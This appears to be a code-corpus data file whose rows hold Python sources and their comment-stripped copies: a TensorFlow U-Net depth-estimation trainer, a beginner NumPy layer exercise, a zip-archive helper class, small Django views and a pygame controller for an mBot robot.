sum_mse_loss = tf.summary.scalar('mse_loss', self.mse_loss)
self.global_step = tf.Variable(0, trainable=False)
self.previous_step = tf.Variable(0, trainable=False)
self.previous_epoch = tf.Variable(0, trainable=False)
self.increment_prev_step_op = tf.assign(self.previous_step, self.previous_step+1)
self.increment_prev_epoch_op = tf.assign(self.previous_epoch, self.previous_epoch+1)
#learning_rate = tf.train.exponential_decay(self.learning_rate, self.global_step,
# 1000, 0.96, staircase=True)
optimizer = tf.train.AdamOptimizer(learning_rate=0.01,)
self.train_op = optimizer.minimize(
self.mse_loss,
var_list=[var for var in tf.trainable_variables()],
global_step=self.global_step
)
#self.train_op = optimizer.minimize(self.mse_loss)
update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)
self.train_op = tf.group([self.train_op, update_ops])
#self.train_op = train_op
self.sum_merged = tf.summary.merge_all()
self.saver = tf.train.Saver(max_to_keep=1, keep_checkpoint_every_n_hours=1)
cfg = tf.ConfigProto(allow_soft_placement=True)
cfg.gpu_options.visible_device_list = GPU0
self.sess = tf.Session(config=cfg)
self.sum_writer_train = tf.summary.FileWriter(self.train_sum_dir, self.sess.graph)
self.sum_write_test = tf.summary.FileWriter(self.test_sum_dir)
path = self.train_mod_dir
model_path = glob.glob(path + 'model_*.cptk.data*')
print(model_path)
if len(model_path)>0:
print ('restoring saved model')
model_path.sort()
self.saver.restore(self.sess, '.'.join(model_path[-1].split('.')[:-1]))
else:
print ('initilizing model')
self.sess.run(tf.global_variables_initializer())
return 0
def train(self, data):
[previous_step, previous_epoch] = self.sess.run(
[self.previous_step, self.previous_epoch])
print('The model has been trained for {} epochs'.format(previous_epoch))
for epoch in range(self.epochs):
#data.shuffle_train_files()
total_train_batch_num = data.total_train_batch_num
print ('total_train_batch_num:', total_train_batch_num)
print ('epochs:', self.epochs)
##### TRAINING ######self.train_op,
for i in range(total_train_batch_num):
X_train_batch, Y_train_batch = data.queue_train.get()
self.sess.run(self.train_op, feed_dict={
self.X:X_train_batch,
self.Y:Y_train_batch,
self.Training:True
})
[mse_loss, sum_train, _] = self.sess.run([
self.mse_loss, self.sum_merged, self.increment_prev_step_op],
feed_dict={
self.X:X_train_batch,
self.Y:Y_train_batch,
self.Training:True
})
self.sum_writer_train.add_summary(sum_train,
previous_step + epoch * total_train_batch_num + i)
print ('ep:',epoch,'i:',i, 'train mse loss:',mse_loss)
self.sess.run(self.increment_prev_epoch_op)
##### VALIDATION ######
X_test_batch, Y_test_batch = data.load_test_next_batch(2)
[mse_loss, sum_test, depth] = self.sess.run([
self.mse_loss, self.sum_merged, self.Depth],
feed_dict={
self.X:X_test_batch,
self.Y:Y_test_batch,
self.Training:False
})
#to_save = {'X_test':X_test_batch, 'Y_test_pred':depth, 'Y_test_true':Y_test_batch}
#scipy.io.savemat(self.test_res_dir+'depth_pred_'+str(epoch).zfill(2)+'_'+str(i).zfill(5)+'.mat',
# to_save, do_compression=True)
print ('ep:',epoch, 'test mse loss:', mse_loss)
##### MODEL SAVING #####
if epoch%1==0:
self.saver.save(self.sess, save_path=self.train_mod_dir + 'model_'+str(previous_epoch + epoch+1).zfill(2)+'.cptk')
print('Model saved to {}'.format(self.train_mod_dir + 'model_'+str(previous_epoch + epoch+1).zfill(2)+'.cptk'))
data.stop_queue = True
def demo(self):
previous_epoch = self.sess.run(self.previous_epoch)
print('The model has been trained for {} epochs'.format(previous_epoch))
d = tools.Data_depth(config)
if not os.path.exists(self.demo_dir+'input/'):
print('Demo input folder not present!!!')
return
filenames = glob.glob(self.demo_dir+'input/*')
if len(filenames) == 0:
print('No files found in input folder!!')
return
if not os.path.exists(self.demo_dir+'depth/'):
os.makedirs(self.demo_dir+'depth/')
if len(filenames)%self.batch_size != 0:
print('Number of images should be a multiple of batch size ({})'.format(self.batch_size))
return
for i in range(len(filenames)//self.batch_size):
X_data_files = filenames[self.batch_size * i:self.batch_size * (i + 1)]
Y_data_files = filenames[self.batch_size * i:self.batch_size * (i + 1)]
X_test_batch, Y_test_batch = d.load_X_Y_images(X_data_files, Y_data_files)
Y_pred_batch = self.sess.run(self.Depth, feed_dict={
self.X:X_test_batch,
self.Training:False
})
for i, filename in enumerate(X_data_files):
io.imsave(filename.replace('/input/',
'/depth/'),
Y_pred_batch[i, :, :, 0])
if __name__ == '__main__':
data = tools.Data_depth(config)
data.daemon = True
data.start()
net = Network(config)
net.build_graph()
start = time.time()
net.train(data)
end = time.time()
print('Training took {}s...'.format(end-start))
| import os
import shutil
import numpy as np
from skimage import io
import tensorflow as tf
import tools
import glob
from config import config
import time
vox_res64 = 512
vox_rex256 = 256
batch_size = 4
GPU0 = '0'
class Network:
def __init__(self, config=None):
self.config = config
if config is None:
self.epochs = 10
self.learning_rate = 0.01
self.batch_size = 4
else:
self.epochs = self.config['train_epochs']
self.learning_rate = self.config['learning_rate_unet']
self.batch_size = self.config['batch_size']
self.train_mod_dir = './models/unet/'
self.train_sum_dir = './summaries/train_sum_u/'
self.test_res_dir = './summaries/test_res_u/'
self.test_sum_dir = './summaries/test_sum_u/'
self.global_vars = './summaries/global_vars_u'
self.demo_dir = './demo/'
re_train = True
print ("re_train:", re_train)
if not os.path.exists(self.global_vars):
os.makedirs(self.global_vars)
print ('global_vars: created!')
if os.path.exists(self.test_res_dir):
if re_train:
print ("test_res_dir and files kept!")
else:
shutil.rmtree(self.test_res_dir)
os.makedirs(self.test_res_dir)
print ('test_res_dir: deleted and then created!')
else:
os.makedirs(self.test_res_dir)
print ('test_res_dir: created!')
if os.path.exists(self.train_mod_dir):
if not re_train:
shutil.rmtree(self.train_mod_dir)
os.makedirs(self.train_mod_dir)
print ('train_mod_dir: deleted and then created!')
else:
os.makedirs(self.train_mod_dir)
print ('train_mod_dir: created!')
if os.path.exists(self.train_sum_dir):
if re_train:
print ("train_sum_dir and files kept!")
else:
shutil.rmtree(self.train_sum_dir)
os.makedirs(self.train_sum_dir)
print ('train_sum_dir: deleted and then created!')
else:
os.makedirs(self.train_sum_dir)
print ('train_sum_dir: created!')
if os.path.exists(self.test_sum_dir):
if re_train:
print ("test_sum_dir and files kept!")
else:
shutil.rmtree(self.test_sum_dir)
os.makedirs(self.test_sum_dir)
print ('test_sum_dir: deleted and then created!')
else:
os.makedirs(self.test_sum_dir)
print ('test_sum_dir: created!')
def conv2d(self, x, k, out_c, str, name,pad='SAME'):
xavier_init = tf.contrib.layers.xavier_initializer()
zero_init = tf.zeros_initializer()
in_c = x.get_shape()[3]
w = tf.get_variable(name + '_w', [k, k, in_c, out_c], initializer=xavier_init)
b = tf.get_variable(name + '_b', [out_c], initializer=zero_init)
stride = [1, str, str, 1]
y = tf.nn.bias_add(tf.nn.conv2d(x, w, stride, pad), b)
return y
def conv2d_transpose(self, x, k, out_c, str, name,pad='SAME'):
xavier_init = tf.contrib.layers.xavier_initializer()
zero_init = tf.zeros_initializer()
in_c = x.get_shape()[3]
w = tf.get_variable(name + '_w', [k, k, in_c, out_c], initializer=xavier_init)
b = tf.get_variable(name + '_b', [out_c], initializer=zero_init)
stride = [1, str, str, 1]
y = tf.nn.bias_add(tf.nn.conv2d_transpose(x, w, [self.batch_size, int(str*x.shape[1]), int(str*x.shape[2]), out_c], stride, pad), b)
return y
def triple_conv(self, X, out_channels, name, Training):
y = self.conv2d(X, 3, out_channels, 1, name+'_1')
y = tf.nn.relu(y)
y = self.conv2d(y, 3, out_channels, 1, name+'_2')
y = tf.nn.relu(y)
y = self.conv2d(y, 3, out_channels, 1, name+'_3')
y = tf.nn.relu(y)
y = tf.layers.batch_normalization(y,training=Training,
momentum=self.config['bn_momentum'])
return y
def unet_forward(self, X, Training):
with tf.device('/gpu:'+GPU0):
X = tf.reshape(X,[-1, vox_res64,vox_res64,4])
conv1 = self.triple_conv(X, 64, 'conv_down1', Training)
x = tf.nn.max_pool(conv1, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')
conv2 = self.triple_conv(x, 128, 'conv_down2', Training)
x = tf.nn.max_pool(conv2, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')
conv3 = self.triple_conv(x, 256, 'conv_down3', Training)
x = tf.nn.max_pool(conv3, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')
x = self.triple_conv(x, 512, 'conv_down4', Training)
x = self.conv2d_transpose(x, 2, 512, 2, 'upsample3')
x = tf.concat([x, conv3], axis=3)
x = self.triple_conv(x, 256, 'conv_up3', Training)
x = self.conv2d_transpose(x, 2, 256, 2, 'upsample2')
x = tf.concat([x, conv2], axis=3)
x = self.triple_conv(x, 128, 'conv_up2', Training)
x = self.conv2d_transpose(x, 2, 128, 2, 'upsample1')
x = tf.concat([x, conv1], axis=3)
x = self.triple_conv(x, 64, 'conv_up1', Training)
out = self.conv2d(x, 1, 1, 1, 'convlast')
return out
def build_graph(self):
self.X = tf.placeholder(tf.float32, [None, vox_res64, vox_res64, 4], name='input')
self.Y = tf.placeholder(tf.float32, [None, vox_res64, vox_res64, 1], name='target')
self.Training = tf.placeholder(tf.bool, name='training_flag')
with tf.device('/gpu:'+GPU0):
self.Depth = self.unet_forward(self.X, self.Training)
print(self.Depth.shape)
mask = tf.reshape(self.X[:, :, :, 3], [-1, vox_res64, vox_res64, 1])
mask = tf.greater(mask, 0.5)
self.Depth = tf.where(mask, self.Depth, tf.ones_like(self.Depth, dtype=tf.float32))
self.mse_loss = tf.reduce_mean(tf.squared_difference(self.Depth, self.Y))
sum_mse_loss = tf.summary.scalar('mse_loss', self.mse_loss)
self.global_step = tf.Variable(0, trainable=False)
self.previous_step = tf.Variable(0, trainable=False)
self.previous_epoch = tf.Variable(0, trainable=False)
self.increment_prev_step_op = tf.assign(self.previous_step, self.previous_step+1)
self.increment_prev_epoch_op = tf.assign(self.previous_epoch, self.previous_epoch+1)
#learning_rate = tf.train.exponential_decay(self.learning_rate, self.global_step,
# 1000, 0.96, staircase=True)
optimizer = tf.train.AdamOptimizer(learning_rate=0.01,)
self.train_op = optimizer.minimize(
self.mse_loss,
var_list=[var for var in tf.trainable_variables()],
global_step=self.global_step
)
#self.train_op = optimizer.minimize(self.mse_loss)
update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)
self.train_op = tf.group([self.train_op, update_ops])
#self.train_op = train_op
self.sum_merged = tf.summary.merge_all()
self.saver = tf.train.Saver(max_to_keep=1, keep_checkpoint_every_n_hours=1)
cfg = tf.ConfigProto(allow_soft_placement=True)
cfg.gpu_options.visible_device_list = GPU0
self.sess = tf.Session(config=cfg)
self.sum_writer_train = tf.summary.FileWriter(self.train_sum_dir, self.sess.graph)
self.sum_write_test = tf.summary.FileWriter(self.test_sum_dir)
path = self.train_mod_dir
model_path = glob.glob(path + 'model_*.cptk.data*')
print(model_path)
if len(model_path)>0:
print ('restoring saved model')
model_path.sort()
self.saver.restore(self.sess, '.'.join(model_path[-1].split('.')[:-1]))
else:
print ('initilizing model')
self.sess.run(tf.global_variables_initializer())
return 0
def train(self, data):
[previous_step, previous_epoch] = self.sess.run(
[self.previous_step, self.previous_epoch])
print('The model has been trained for {} epochs'.format(previous_epoch))
for epoch in range(self.epochs):
#data.shuffle_train_files()
total_train_batch_num = data.total_train_batch_num
print ('total_train_batch_num:', total_train_batch_num)
print ('epochs:', self.epochs)
##### TRAINING ######self.train_op,
for i in range(total_train_batch_num):
X_train_batch, Y_train_batch = data.queue_train.get()
self.sess.run(self.train_op, feed_dict={
self.X:X_train_batch,
self.Y:Y_train_batch,
self.Training:True
})
[mse_loss, sum_train, _] = self.sess.run([
self.mse_loss, self.sum_merged, self.increment_prev_step_op],
feed_dict={
self.X:X_train_batch,
self.Y:Y_train_batch,
self.Training:True
})
self.sum_writer_train.add_summary(sum_train,
previous_step + epoch * total_train_batch_num + i)
print ('ep:',epoch,'i:',i, 'train mse loss:',mse_loss)
self.sess.run(self.increment_prev_epoch_op)
##### VALIDATION ######
X_test_batch, Y_test_batch = data.load_test_next_batch(2)
[mse_loss, sum_test, depth] = self.sess.run([
self.mse_loss, self.sum_merged, self.Depth],
feed_dict={
self.X:X_test_batch,
self.Y:Y_test_batch,
self.Training:False
})
#to_save = {'X_test':X_test_batch, 'Y_test_pred':depth, 'Y_test_true':Y_test_batch}
#scipy.io.savemat(self.test_res_dir+'depth_pred_'+str(epoch).zfill(2)+'_'+str(i).zfill(5)+'.mat',
# to_save, do_compression=True)
print ('ep:',epoch, 'test mse loss:', mse_loss)
##### MODEL SAVING #####
if epoch%1==0:
self.saver.save(self.sess, save_path=self.train_mod_dir + 'model_'+str(previous_epoch + epoch+1).zfill(2)+'.cptk')
print('Model saved to {}'.format(self.train_mod_dir + 'model_'+str(previous_epoch + epoch+1).zfill(2)+'.cptk'))
data.stop_queue = True
def demo(self):
previous_epoch = self.sess.run(self.previous_epoch)
print('The model has been trained for {} epochs'.format(previous_epoch))
d = tools.Data_depth(config)
if not os.path.exists(self.demo_dir+'input/'):
print('Demo input folder not present!!!')
return
filenames = glob.glob(self.demo_dir+'input/*')
if len(filenames) == 0:
print('No files found in input folder!!')
return
if not os.path.exists(self.demo_dir+'depth/'):
os.makedirs(self.demo_dir+'depth/')
if len(filenames)%self.batch_size != 0:
print('Number of images should be a multiple of batch size ({})'.format(self.batch_size))
return
for i in range(len(filenames)//self.batch_size):
X_data_files = filenames[self.batch_size * i:self.batch_size * (i + 1)]
Y_data_files = filenames[self.batch_size * i:self.batch_size * (i + 1)]
X_test_batch, Y_test_batch = d.load_X_Y_images(X_data_files, Y_data_files)
Y_pred_batch = self.sess.run(self.Depth, feed_dict={
self.X:X_test_batch,
self.Training:False
})
for i, filename in enumerate(X_data_files):
io.imsave(filename.replace('/input/',
'/depth/'),
Y_pred_batch[i, :, :, 0])
if __name__ == '__main__':
data = tools.Data_depth(config)
data.daemon = True
data.start()
net = Network(config)
net.build_graph()
start = time.time()
net.train(data)
end = time.time()
print('Training took {}s...'.format(end-start))
| en | 0.197673 | #learning_rate = tf.train.exponential_decay(self.learning_rate, self.global_step, # 1000, 0.96, staircase=True) #self.train_op = optimizer.minimize(self.mse_loss) #self.train_op = train_op #data.shuffle_train_files() ##### TRAINING ######self.train_op, ##### VALIDATION ###### #to_save = {'X_test':X_test_batch, 'Y_test_pred':depth, 'Y_test_true':Y_test_batch} #scipy.io.savemat(self.test_res_dir+'depth_pred_'+str(epoch).zfill(2)+'_'+str(i).zfill(5)+'.mat', # to_save, do_compression=True) ##### MODEL SAVING ##### | 2.192073 | 2 |
Dense_and_Activation.py | MrKosif/Neural-Networks-From-Scratch | 1 | 6616156 | <reponame>MrKosif/Neural-Networks-From-Scratch
import numpy as np
from nnfs import spiral_data
input = [[1, -2, 3],
[-3, 6 ,-8]]
class Layer_Dense:
def __init__(self, no_of_inputs, no_of_neurons):
self.weight = 0.10*np.random.randn(no_of_inputs, no_of_neurons)
self.bias = np.zeros((1, no_of_neurons))
def forward(self, input):
output = np.dot(input, self.weight) + self.bias
class Activation_ReLU:
def forward(self, input):
output = np.maximum(0, input)
print(output)
input = [[1, 2, 3, 5, 6, 8, 5],
[2, 5, 3, 7, 4, 3, 1]]
class Softmax_Activation:
def forward(self, input):
# softmaxin yaptığı şey şu: atıyorum 1 e 3 şül bir array var birini al diğerlerinin toplamına böl
output = input / np.sum(input, axis=1, keepdims=True)
print(output)
class Catagorical_Crossentrophy:
# olay su one hot encoding alınacak ve class doğruysa yani birse o classın one hopt
# coding ile çarpılır sonra toplanır en son negatıfı alınır
pass
#relu = Activation_ReLU()
#relu.forward(input)
#softi = Softmax_Activation()
#softi.forward(input)
X, y = nnfs.spiral_data(samples=100, classes=3)
print(y)
#layer1 = Layer_Dense(3, 4)
#layer2 = Layer_Dense(4, 5)
#layer2.forward(layer1.forward(input))
| import numpy as np
from nnfs import spiral_data
input = [[1, -2, 3],
[-3, 6 ,-8]]
class Layer_Dense:
def __init__(self, no_of_inputs, no_of_neurons):
self.weight = 0.10*np.random.randn(no_of_inputs, no_of_neurons)
self.bias = np.zeros((1, no_of_neurons))
def forward(self, input):
output = np.dot(input, self.weight) + self.bias
class Activation_ReLU:
def forward(self, input):
output = np.maximum(0, input)
print(output)
input = [[1, 2, 3, 5, 6, 8, 5],
[2, 5, 3, 7, 4, 3, 1]]
class Softmax_Activation:
def forward(self, input):
# softmaxin yaptığı şey şu: atıyorum 1 e 3 şül bir array var birini al diğerlerinin toplamına böl
output = input / np.sum(input, axis=1, keepdims=True)
print(output)
class Catagorical_Crossentrophy:
# olay su one hot encoding alınacak ve class doğruysa yani birse o classın one hopt
# coding ile çarpılır sonra toplanır en son negatıfı alınır
pass
#relu = Activation_ReLU()
#relu.forward(input)
#softi = Softmax_Activation()
#softi.forward(input)
X, y = nnfs.spiral_data(samples=100, classes=3)
print(y)
#layer1 = Layer_Dense(3, 4)
#layer2 = Layer_Dense(4, 5)
#layer2.forward(layer1.forward(input)) | tr | 0.911356 | # softmaxin yaptığı şey şu: atıyorum 1 e 3 şül bir array var birini al diğerlerinin toplamına böl # olay su one hot encoding alınacak ve class doğruysa yani birse o classın one hopt # coding ile çarpılır sonra toplanır en son negatıfı alınır #relu = Activation_ReLU() #relu.forward(input) #softi = Softmax_Activation() #softi.forward(input) #layer1 = Layer_Dense(3, 4) #layer2 = Layer_Dense(4, 5) #layer2.forward(layer1.forward(input)) | 3.57581 | 4 |
zip_handler/__main__.py | w13b3/do_not_use | 0 | 6616157 | <reponame>w13b3/do_not_use<filename>zip_handler/__main__.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# __main__.py
import os
import zipfile
import logging
from contextlib import contextmanager
from tempfile import NamedTemporaryFile, TemporaryDirectory
class ZipHandler:
def __init__(self, zip_file: str = None) -> None:
self.zip_root = zip_file
if self.zip_root is None:
self.zip_root = os.path.dirname(__file__)
@contextmanager
def this_zip(self, mode: str = 'a', pwd: bytes = None) -> zipfile.ZipFile:
with zipfile.ZipFile(self.zip_root, mode) as z_:
z_.setpassword(pwd=<PASSWORD>)
logging.info("opened zip {0}".format(self.zip_root))
yield z_ # zipfile.ZipFile
@contextmanager
def temp_extract_file(self, in_zip_file: (str, zipfile.ZipInfo), pwd: bytes = None, secret: bool = False) -> str:
zip_file = self.get_file_info(in_zip_file)
with TemporaryDirectory() as temp_dir:
with self.this_zip(mode='r', pwd=pwd) as z_:
z_.extract(member=zip_file, path=temp_dir)
logging.info("extracted file: {0}".format(in_zip_file))
file_path = os.path.join(temp_dir, zip_file.filename)
if bool(secret):
with NamedTemporaryFile(dir=temp_dir) as temp_file:
os.rename(src=file_path, dst=temp_file.name)
logging.info("renamed extracted file")
yield temp_file.name # str
else:
yield file_path # str
@contextmanager
def temp_extract_all(self, pwd: bytes = None) -> str:
with TemporaryDirectory() as temp_dir:
with self.this_zip(mode='r', pwd=pwd) as z_:
z_.extractall(path=temp_dir)
logging.info("extracted zip")
yield temp_dir # str
def get_file_list(self) -> list:
with self.this_zip('r') as z_:
return z_.filelist # list[zipfile.ZipInfo]
def get_file_info(self, in_zip_file: (str, zipfile.ZipInfo)) -> zipfile.ZipInfo:
if isinstance(in_zip_file, zipfile.ZipInfo):
in_zip_file = in_zip_file.filename # make sure requested file is in the zip
for file in self.get_file_list():
if file.filename == in_zip_file:
return file # zipfile.ZipInfo
else: # after for-loop
msg = "given filepath is not available in zip: {0}".format(in_zip_file)
logging.error(msg)
raise ValueError(msg)
def read_file(self, in_zip_file: (str, zipfile.ZipInfo), pwd: bytes = None) -> bytes:
zip_file = self.get_file_info(in_zip_file)
with self.this_zip(mode='r', pwd=pwd) as z_:
with z_.open(name=zip_file, mode='r') as z_open:
logging.info("read file in zip: {0}".format(in_zip_file))
return z_open.read() # bytes
def write_file(self, in_zip_file: (str, zipfile.ZipInfo), data_: (bytes, str)) -> None:
if not isinstance(data_, (bytes, str)):
msg = "expected data_ to be bytes, str. given: {0}".format(type(data_))
logging.error(msg)
raise ValueError(msg)
with self.this_zip(mode='a', pwd=None) as z_:
with z_.open(name=in_zip_file, mode='w') as z_open:
logging.info("write file in zip: {0}".format(in_zip_file))
z_open.write(data_)
def copy_file_to_zip(self, in_zip_file: (str, zipfile.ZipInfo), file_to_zip: str) -> None:
if not os.path.exists(file_to_zip): ValueError("given file to zip doesn't exist: {0}".format(file_to_zip))
if not os.path.isfile(file_to_zip): ValueError("given file is not a file: {0}".format(file_to_zip))
with open(file_to_zip, 'rb') as open_file:
data = open_file.read()
self.write_file(in_zip_file, data)
if __name__ == '__main__':
import sys
import zipapp
this_file = os.path.basename(__file__)
this_dir = os.path.dirname(__file__)
sys.stdout.write("current directory: {0}\n".format(this_dir))
def read_zip(target):
""" reads the files in a zip """
with ZipHandler(target).this_zip(mode='r') as this_zip:
for file in this_zip.filelist:
filename = file.filename
read_file = ZipHandler(target).read_file(file)
length_file = len(read_file)
sys.stdout.write("length file: {0}, file: {1}\n".format(length_file, filename))
if not zipfile.is_zipfile(__file__):
with TemporaryDirectory() as tempdir:
target_ = os.path.join(tempdir, 'temp_zipapp.pyz')
zipapp.create_archive(this_dir, target_)
# copy this file to zip
ZipHandler(target_).copy_file_to_zip("{0}.copy".format(this_file), __file__)
# print out contents of temp zip
read_zip(target_)
else: # executing a python zipapp
# this_dir is the zip root
read_zip(this_dir)
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# __main__.py
import os
import zipfile
import logging
from contextlib import contextmanager
from tempfile import NamedTemporaryFile, TemporaryDirectory
class ZipHandler:
def __init__(self, zip_file: str = None) -> None:
self.zip_root = zip_file
if self.zip_root is None:
self.zip_root = os.path.dirname(__file__)
@contextmanager
def this_zip(self, mode: str = 'a', pwd: bytes = None) -> zipfile.ZipFile:
with zipfile.ZipFile(self.zip_root, mode) as z_:
z_.setpassword(pwd=<PASSWORD>)
logging.info("opened zip {0}".format(self.zip_root))
yield z_ # zipfile.ZipFile
@contextmanager
def temp_extract_file(self, in_zip_file: (str, zipfile.ZipInfo), pwd: bytes = None, secret: bool = False) -> str:
zip_file = self.get_file_info(in_zip_file)
with TemporaryDirectory() as temp_dir:
with self.this_zip(mode='r', pwd=pwd) as z_:
z_.extract(member=zip_file, path=temp_dir)
logging.info("extracted file: {0}".format(in_zip_file))
file_path = os.path.join(temp_dir, zip_file.filename)
if bool(secret):
with NamedTemporaryFile(dir=temp_dir) as temp_file:
os.rename(src=file_path, dst=temp_file.name)
logging.info("renamed extracted file")
yield temp_file.name # str
else:
yield file_path # str
@contextmanager
def temp_extract_all(self, pwd: bytes = None) -> str:
with TemporaryDirectory() as temp_dir:
with self.this_zip(mode='r', pwd=pwd) as z_:
z_.extractall(path=temp_dir)
logging.info("extracted zip")
yield temp_dir # str
def get_file_list(self) -> list:
with self.this_zip('r') as z_:
return z_.filelist # list[zipfile.ZipInfo]
def get_file_info(self, in_zip_file: (str, zipfile.ZipInfo)) -> zipfile.ZipInfo:
if isinstance(in_zip_file, zipfile.ZipInfo):
in_zip_file = in_zip_file.filename # make sure requested file is in the zip
for file in self.get_file_list():
if file.filename == in_zip_file:
return file # zipfile.ZipInfo
else: # after for-loop
msg = "given filepath is not available in zip: {0}".format(in_zip_file)
logging.error(msg)
raise ValueError(msg)
def read_file(self, in_zip_file: (str, zipfile.ZipInfo), pwd: bytes = None) -> bytes:
zip_file = self.get_file_info(in_zip_file)
with self.this_zip(mode='r', pwd=pwd) as z_:
with z_.open(name=zip_file, mode='r') as z_open:
logging.info("read file in zip: {0}".format(in_zip_file))
return z_open.read() # bytes
def write_file(self, in_zip_file: (str, zipfile.ZipInfo), data_: (bytes, str)) -> None:
if not isinstance(data_, (bytes, str)):
msg = "expected data_ to be bytes, str. given: {0}".format(type(data_))
logging.error(msg)
raise ValueError(msg)
with self.this_zip(mode='a', pwd=None) as z_:
with z_.open(name=in_zip_file, mode='w') as z_open:
logging.info("write file in zip: {0}".format(in_zip_file))
z_open.write(data_)
def copy_file_to_zip(self, in_zip_file: (str, zipfile.ZipInfo), file_to_zip: str) -> None:
if not os.path.exists(file_to_zip): ValueError("given file to zip doesn't exist: {0}".format(file_to_zip))
if not os.path.isfile(file_to_zip): ValueError("given file is not a file: {0}".format(file_to_zip))
with open(file_to_zip, 'rb') as open_file:
data = open_file.read()
self.write_file(in_zip_file, data)
if __name__ == '__main__':
import sys
import zipapp
this_file = os.path.basename(__file__)
this_dir = os.path.dirname(__file__)
sys.stdout.write("current directory: {0}\n".format(this_dir))
def read_zip(target):
""" reads the files in a zip """
with ZipHandler(target).this_zip(mode='r') as this_zip:
for file in this_zip.filelist:
filename = file.filename
read_file = ZipHandler(target).read_file(file)
length_file = len(read_file)
sys.stdout.write("length file: {0}, file: {1}\n".format(length_file, filename))
if not zipfile.is_zipfile(__file__):
with TemporaryDirectory() as tempdir:
target_ = os.path.join(tempdir, 'temp_zipapp.pyz')
zipapp.create_archive(this_dir, target_)
# copy this file to zip
ZipHandler(target_).copy_file_to_zip("{0}.copy".format(this_file), __file__)
# print out contents of temp zip
read_zip(target_)
else: # executing a python zipapp
# this_dir is the zip root
read_zip(this_dir) | en | 0.763587 | #!/usr/bin/env python3 # -*- coding: utf-8 -*- # __main__.py # zipfile.ZipFile # str # str # str # list[zipfile.ZipInfo] # make sure requested file is in the zip # zipfile.ZipInfo # after for-loop # bytes reads the files in a zip # copy this file to zip # print out contents of temp zip # executing a python zipapp # this_dir is the zip root | 2.707247 | 3 |
example/example/views.py | stenius/django-hunger | 37 | 6616158 | from django.shortcuts import render
def home(request):
return render(request, 'base.html')
def nonbeta(request):
return render(request, 'nonbeta.html')
def profile(request):
return render(request, 'profile.html')
| from django.shortcuts import render
def home(request):
return render(request, 'base.html')
def nonbeta(request):
return render(request, 'nonbeta.html')
def profile(request):
return render(request, 'profile.html')
| none | 1 | 1.534302 | 2 | |
simpleRCTest.py | SRCole-Baker/Pi_mBot | 0 | 6616159 | <reponame>SRCole-Baker/Pi_mBot
from lib.mBot import *
import os, sys
import pygame
from pygame.locals import *
# R G B
WHITE = (255, 255, 255)
BLACK = ( 0, 0, 0)
RED = (255, 0, 0)
BLUE = ( 0, 0, 255)
GREEN = ( 0, 255, 0)
DARKGREEN = ( 0, 155, 0)
DARKGRAY = ( 40, 40, 40)
BGCOLOR = DARKGRAY
TXTCOLOR = BLUE
bot = mBot()
try:
bot.startWithSerial("/dev/ttyUSB0")
except:
bot.startWithSerial("/dev/ttyACM0")
#bot.startWithHID()
pygame.init()
#FPSCLOCK = pygame.time.Clock()
displaySurf = pygame.display.set_mode((640, 480))
pygame.display.set_caption('mBot Control')
background = pygame.Surface(displaySurf.get_size())
background = background.convert()
background.fill(BGCOLOR)
#Opening USB serial port will reset the arduino - wait for it to reboot before continuing
sleep(3)
x=0
y=0
heading=0
turn=0
speed = 0
running = True
readoutFont = pygame.font.Font(None, 36)
#Initialise position and heading
bot.doGridX(123)
bot.doGridY(456)
while running:
for event in pygame.event.get():
if event.type == QUIT:
running = False
elif event.type == KEYDOWN:
if event.key == K_ESCAPE:
running = False
if event.key == K_UP:
speed = 100
turn = 0
if event.key == K_DOWN:
speed = -100
turn = 0
if event.key == K_RIGHT:
speed = 100
turn = 1
if event.key == K_LEFT:
speed = 100
turn = -1
elif event.type == KEYUP:
speed = 0
turn = 0
elif event.type == MOUSEBUTTONDOWN:
pass
elif event.type == MOUSEBUTTONUP:
pass
if turn == 0:
bot.doMove(speed,speed)
else:
bot.doMove(speed * turn,speed * turn * -1)
print "updating pos/heading..."
# x = bot.requestGridX()
# y = bot.requestGridY()
# heading = bot.requestGridHeading()
# displaySurf.blit(background, (0, 0))
# text = readoutFont.render("X : " + str(x), 1, TXTCOLOR)
# textpos = (50,50,0,0)
# displaySurf.blit(text, textpos)
# text = readoutFont.render("Y : " + str(y), 1, TXTCOLOR)
# textpos = (50,100,0,0)
# displaySurf.blit(text, textpos)
# text = readoutFont.render("Heading : " + str(heading), 1, TXTCOLOR)
# textpos = (50,150,0,0)
# displaySurf.blit(text, textpos)
pygame.display.flip()
pygame.display.quit()
pygame.quit()
| from lib.mBot import *
import os, sys
import pygame
from pygame.locals import *
# R G B
WHITE = (255, 255, 255)
BLACK = ( 0, 0, 0)
RED = (255, 0, 0)
BLUE = ( 0, 0, 255)
GREEN = ( 0, 255, 0)
DARKGREEN = ( 0, 155, 0)
DARKGRAY = ( 40, 40, 40)
BGCOLOR = DARKGRAY
TXTCOLOR = BLUE
bot = mBot()
try:
bot.startWithSerial("/dev/ttyUSB0")
except:
bot.startWithSerial("/dev/ttyACM0")
#bot.startWithHID()
pygame.init()
#FPSCLOCK = pygame.time.Clock()
displaySurf = pygame.display.set_mode((640, 480))
pygame.display.set_caption('mBot Control')
background = pygame.Surface(displaySurf.get_size())
background = background.convert()
background.fill(BGCOLOR)
#Opening USB serial port will reset the arduino - wait for it to reboot before continuing
sleep(3)
x=0
y=0
heading=0
turn=0
speed = 0
running = True
readoutFont = pygame.font.Font(None, 36)
#Initialise position and heading
bot.doGridX(123)
bot.doGridY(456)
while running:
for event in pygame.event.get():
if event.type == QUIT:
running = False
elif event.type == KEYDOWN:
if event.key == K_ESCAPE:
running = False
if event.key == K_UP:
speed = 100
turn = 0
if event.key == K_DOWN:
speed = -100
turn = 0
if event.key == K_RIGHT:
speed = 100
turn = 1
if event.key == K_LEFT:
speed = 100
turn = -1
elif event.type == KEYUP:
speed = 0
turn = 0
elif event.type == MOUSEBUTTONDOWN:
pass
elif event.type == MOUSEBUTTONUP:
pass
if turn == 0:
bot.doMove(speed,speed)
else:
bot.doMove(speed * turn,speed * turn * -1)
print "updating pos/heading..."
# x = bot.requestGridX()
# y = bot.requestGridY()
# heading = bot.requestGridHeading()
# displaySurf.blit(background, (0, 0))
# text = readoutFont.render("X : " + str(x), 1, TXTCOLOR)
# textpos = (50,50,0,0)
# displaySurf.blit(text, textpos)
